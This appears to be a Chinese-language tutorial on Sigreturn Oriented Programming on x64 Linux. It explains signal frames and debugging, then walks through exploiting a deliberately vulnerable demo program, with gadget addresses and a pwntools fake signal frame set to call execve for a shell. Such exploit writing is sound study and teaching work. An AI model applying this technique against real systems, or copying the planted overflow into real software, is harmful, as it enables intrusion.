Sigreturn Oriented Programming,基于 signal mechanism 的内存溢出攻击
缺陷可利用:
- 进程 context info 及 rt_sigreturn addr 保存在用户进程栈空间,用户进程可读写
- 内核未判断之前保存的 signal frame 和 恢复时的 signal frame
那么利用思路就很很清晰了,只要控制了用户进程的栈空间,就可以伪造 signal frame ,劫持控制流
本文简单介绍 srop 中有关 signal 和 debugger signal , syscall 的要点,最后给出一个基于 srop 利用的 x64 simple demo。
Signal mechanism 下内核与进程的交互
在进程表的表项中有一个软中断信号域,该域中每一位对应一个信号,当有信号发送给进程时,对应位置位。
进程间的信号是通过内核来转发,A 进程 - 内核 - B 进程,当然进程自己也会触发信号。接下来的讨论是内核收到这个信号的处理流程。
如上图所述,大概分 4 部分:
- 内核向 B 进程 deliver a signal,该进程响应这个 signal ,暂时挂起 (suspend) , 控制权交给内核
- 内核为该进程保存相应的 context,跳转到之前注册好的 signal handle 中处理相应的 signal,此时在 user space
- 当 signal handle 返回之后,内核为该进程恢复保存的上下文
- 控制权交给 B 进程,恢复执行
Signal Frame: 即保存进程 context info 的栈内存空间,x64 布局如下:
Offset | reg | reg |
---|---|---|
0x00 | rt_sigreturn | uc_flags |
0x10 | &uc | uc_stack.ss_sp |
0x20 | uc_stack.ss_flags | uc_stack.ss_size |
0x30 | r8 | r9 |
0x40 | r10 | r11 |
0x50 | r12 | r13 |
0x60 | r14 | r15 |
0x70 | rdi | rsi |
0x80 | rbp | rbx |
0x90 | rdx | rax |
0xa0 | rcx | rsp |
0xb0 | rip | eflags |
0xc0 | cs/gs/fs | err |
0xd0 | trapno | oldmask(unused) |
0xe0 | cr2(segfault addr) | &fpstate |
0xf0 | __reserved | sigmask |
详解下第二步,内核会将进程的 context 保存在进程的内存空间栈上,然后在栈顶填上一个返回地址: ‘rt_sigreturn()’,这个函数地址指向的就是 ‘sigreturn’ 系统调用(15 号系统调用)。
Debugger signal and find signal frame struct
调试时,需要对 signal 处理进行设置
系统信号值可通过 kill -l 查阅:
1 | $ kill -l |
测试代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21/*
# gcc -o debug_sig ./debug_sig.c -g
*/
void handle_signal(int signum)
{
printf("handling signal: %d\n", signum);
}
int main(){
signal(SIGINT, (void *)handle_signal);
printf("catch me if you can\n");
while(1) {}
return 0;
}
/* struct definition for debugging purpose */
// struct sigcontext sigcontext;
结合代码 Linux source code about sigcontext struct:https://elixir.bootlin.com/linux/v4.6/source/arch/x86/include/uapi/asm/sigcontext.h
调试过程如下:
1 | gef> handle SIGINT pass nostop |
这里的寄存器值与当前上下文稍有出入,是因为调用 handler_signal() 函数传参等修改寄存器所致。
还可以观察 ucontext->uc_mcontext->greps 字段,这个也会与 sigcontext 结构体数据一致。也就是
1 | gef> p (struct ucontext)*0x00007ffffffedbb8 |
1 | gef> b *0x8000763 |
可以看到信号处理函数返回时,调用 __restore_rt() ,也就是在调用 0xf 号系统调用( sigreturn )。
syscall 相关
主要在于寻找相关的 gadgets 和系统调用参数的传递及返回值
调用号通过 rax 传递
1 | mov rax,0xf |
syscall 调用成功后返回调用号,系统调用失败后值存入 rax,系统调用失败值参阅:http://www-numi.fnal.gov/offline_software/srt_public_context/WebDocs/Errors/unix_system_errors.html
以 x64 为例,系统调用号可查阅 inclde/generated/asm-offsets.h:
1 | #define __NR_syscall_max 322 |
x64simple demo
要点:
- 利用 pwntools srop 可快速构造 fake signal frame
- 精心布局栈空间,完成 sigreturn 的 rop 后紧跟 fake signal frame
示例代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38/*
* just for srop simple:https://0x00sec.org/t/srop-signals-you-say/2890
* gcc -o x64simple ./x64simple.c -g -no-pie -z execstack
*/
void syscall_(){
__asm__("syscall; ret;");
}
void set_rax(){
__asm__("movl $0xf, %eax; ret;");
}
int main(){
// ONLY SROP!
char buff[100];
printf("Buff @%p, can you SROP?\n", buff);
read(0, buff, 5000);
return 0;
}
$ checksec ./x64simple
[*] './x64simple'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
这里为什么把保护全关呢。因为起初的利用思路是调用 mprotect 系统调用对栈内存属性改写,实现栈缓冲区可执行
然而在实践的过程问题却发现行不通:在 NX 的条件下,对栈缓冲区内存改写属性会失败。
1.定位崩溃点
1 | Program received signal SIGSEGV, Segmentation fault. |
通过 gdb 调试,rsp - rsi 得到 padding size == 120
2. 寻找 gadgets
利用ropper可搜寻到
1 | syscall_addr = 0x40054a |
3.fake signal frame
调用 execve 系统调用,可直接使用 pwntools 中的 srop 框架1
2
3
4
5
6
7
8
9
10frame = SigreturnFrame()
# execve syscall number == 59
frame.rax = 59 # execve syscall number
frame.rdi = buff_addr
frame.rsi = 0
frame.rdx = 0
# signal frame size == 248
frame.rsp = buff_addr + len(payload) + 248
# SET RIP TO SYSCALL ADDRESS
frame.rip = syscall_ret
4.完整 exp 及 getshell
1 | #-* coding:utf-8 *- |
Reference
- sides:https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf
- paper:http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf
- http://www.freebuf.com/articles/network/87447.html
- 示例:https://0x00sec.org/t/srop-signals-you-say/2890
- https://elixir.bootlin.com/linux/v4.6/source/arch/x86/include/uapi/asm/sigcontext.h
- http://www-numi.fnal.gov/offline_software/srt_public_context/WebDocs/Errors/unix_system_errors.html